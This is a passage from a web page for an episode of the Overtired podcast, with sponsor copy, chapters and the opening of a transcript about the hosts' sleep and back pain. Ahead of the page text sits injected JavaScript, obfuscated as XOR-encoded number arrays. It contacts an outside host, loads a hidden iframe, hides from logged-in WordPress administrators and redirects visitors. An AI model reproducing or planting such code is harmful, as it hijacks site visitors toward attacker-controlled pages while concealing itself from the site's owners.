,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,1
Sponsor OneSkin improves your skincare routine with science-backed skin care products. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/OVERTIRED. Chapters 00:00 Gang Back Together 01:23 Mental Health Corner 01:39 Back Pain Diagnosis 07:09 Dental Insurance Racket 12:34 Post Surge Recovery 19:24 Surgery And Withdrawal 24:36 Sponsor One Skin 26:23 Terminal Widget Reveal 31:24 Widgets And Visualizations 34:51 Release Plans And Review 36:56 Universal Bundle Pricing 37:38 AI Boosts Mark II Sales 39:20 Leaving Oracle Behind 40:03 Ninety Hour Workweeks 41:55 NV Ultra Vaporware Woes 43:17 Missing Collaborators Online 45:09 Dan Peterson Secret App 46:23 The Pit TV Complaints 50:49 ER Nostalgia and Cast 54:01 Season Two and Other Shows 58:33 Gratitude App Picks 01:00:09 AI Tools and Claude Code 01:04:35 Bookshelves and Audiobooks 01:07:10 Wrap Up and Sleep Show Links TerminalWidget Marked 3 Bezel BookShelves Claude app Join the Conversation Merch! Come chat on Discord! Twitter/ovrtrd Instagram/ovrtrd Youtube Get the Newsletter Thanks! You’re downloading today’s show from CacheFly’s network BackBeat Media Podcast Network Transcript Projects and Pitt-falls Gang Back Together Christina: [00:00:00] What’s that? Do you see a podcast update in your feed? Well that’s because you’re back on, on Overtired and, uh, and I’m Christina Warren and I’m joined by, uh, Jeff Severns Guntzel and Brett Terpstra. What do you know? The whole gang is back together. Overtired, everybody what Jeff: Hi everybody. Brett: I need a, we need a party sound. We need a Christina: we do. We need a soundboard. We need a soundboard and we need a, a way to be like what Gangs all here. Some sort of a like a either a a we need a horn. That’s what we need. We need one of those. Those horns they play at at at football games. Jeff: would like that very much. Brett: or that like B. Christina: exactly. Jeff: yeah, Brett: That would really wake people up. Christina: It really would. And, and especially, um, all of us. ’cause I we’re recording this earlier than we ever do. Brett’s been up for a really long time and, uh, I think Jeff is probably like raring to go, but I’m like, I, well now Jeff: raring to go, but I’m warming [00:01:00] up. Christina: Yeah, I, I, I’ve been up since like five 30, so I’m okay too, but yeah. Brett: I wrote an entire shortcuts in shortcut intense interface for my new app this morning, and it’s actually working. I’ve never written for shortcuts before. Christina: Well, Ooh, we will, yeah, you gotta talk to us more about that ’cause I wanna hear more about that. Mental Health Corner Christina: Um, but first I think we should probably do, um, because it’s been a while since we’ve all been together, we should probably do a little bit of a mental health corner. Brett: yeah, Who wants to kick that off? Okay, fine. I will. Jeff: health. Mental health. Silence. Back Pain Diagnosis Brett: I, uh, I, I, my sleep has gotten a little worse than it was before when I told you it was bad. Um, I’m, now, I’m back down to like five hours a night and I just wake up at like 2:00 AM. And like I go to bed by eight or nine and I get up at [00:02:00] 2:00 AM every morning and I just cannot, for the life of me fall back asleep. And for like the first hour I’m up, I’m not even really awake. Um, I’m just kind of sitting on the couch staring at my computer and not be, not able to do anything After about an hour. Um. I, I, I’ll get some coffee, I’ll take my meds and like then it’s kind of like most people’s, like maybe 10:00 AM 11:00 AM um, by, by like 3:00 AM but it’s still wearing me down. Um, I got, so I’ve had back pain, um, for a while now. Uh, I can’t stand up for more than about five minutes and I can’t walk for more than three to five minutes, which has really put a dent in my, um, ability to exercise. And, um, so I finally got, I got an MRI [00:03:00] done, and they. Diagnose me with stenosis, which I think is kind of a, a broad term, but like a couple of the discs in my lower back have collapsed and, um, they, they, they think I can be treated with, uh, with shots and not surgery. Um, so I’m hoping, I’m hoping to get that figured out because, okay, so right now, uh, we, we always go on walks in the wildlife refuge, um, like the wetlands refuge near us, and I love it. We, we see so much cool stuff there and I hadn’t really been able to, but what I found was this little, it’s like. Folded up, it’s like two feet tall, uh, camp chair and it, it’s like a camp stool. And so I carry that with us while we walk and then like every three minutes I’ll like have to set it up on [00:04:00] the side of the trail sit. And if I sit for two minutes, the pain goes away, I can then walk again immediately. Um, but like after, after three to five minutes, like my back freezes up and I, like, I literally, I can’t move anymore. Um, so this little, uh, take carrying a chair and doing it in three minutes stints, um, has at least allowed me to get out and get some green time. But that’s kinda where I’m at. Jeff: What does this little chair look like? Uh Brett: It’s blue Jeff: huh. Brett: and it has four legs and it’s can canvas. Jeff: is it like an adorable little camp chair that you’re supposed to be able to like Brett: I think it’s a toddler’s ch camp chair. Jeff: Excellent. This is the detail I Brett: like, it’s smaller than my butt. Like I’m perching on it, but it’s enough to like get my back, uh, into feeling. Okay. And it’s not too heavy to like carry[00:05:00] Jeff: Show art, but the art, the art is you perching. Just to be really clear. Brett: Yes. My, my 280 pounds pound perched on a two foot camp stool, it’ll be great. Jeff: Wow. Well, I’m glad there’s something like some kind of thing Brett: Yeah, no, it’s actually really good. It’s really good to get the stenosis diagnosis and ’cause for a long time I just assumed because I gained weight, my, my back wouldn’t work anymore, which was depressing. But the more I thought about it, the more I realized I’ve been this heavy before and I have not had this pain. And even after my first like 50 pound sudden weight gain, I didn’t have back pain. So it didn’t make sense that my body just couldn’t handle it, uh, like something else had to be going on. So it was actually much like any diagnosis, I think, um, other than, you know, terminal illness, but for like A [00:06:00] DHD or stenosis or any like mental health condition, it’s a relief to get a diagnosis and find out you weren’t crazy, you weren’t making things up. 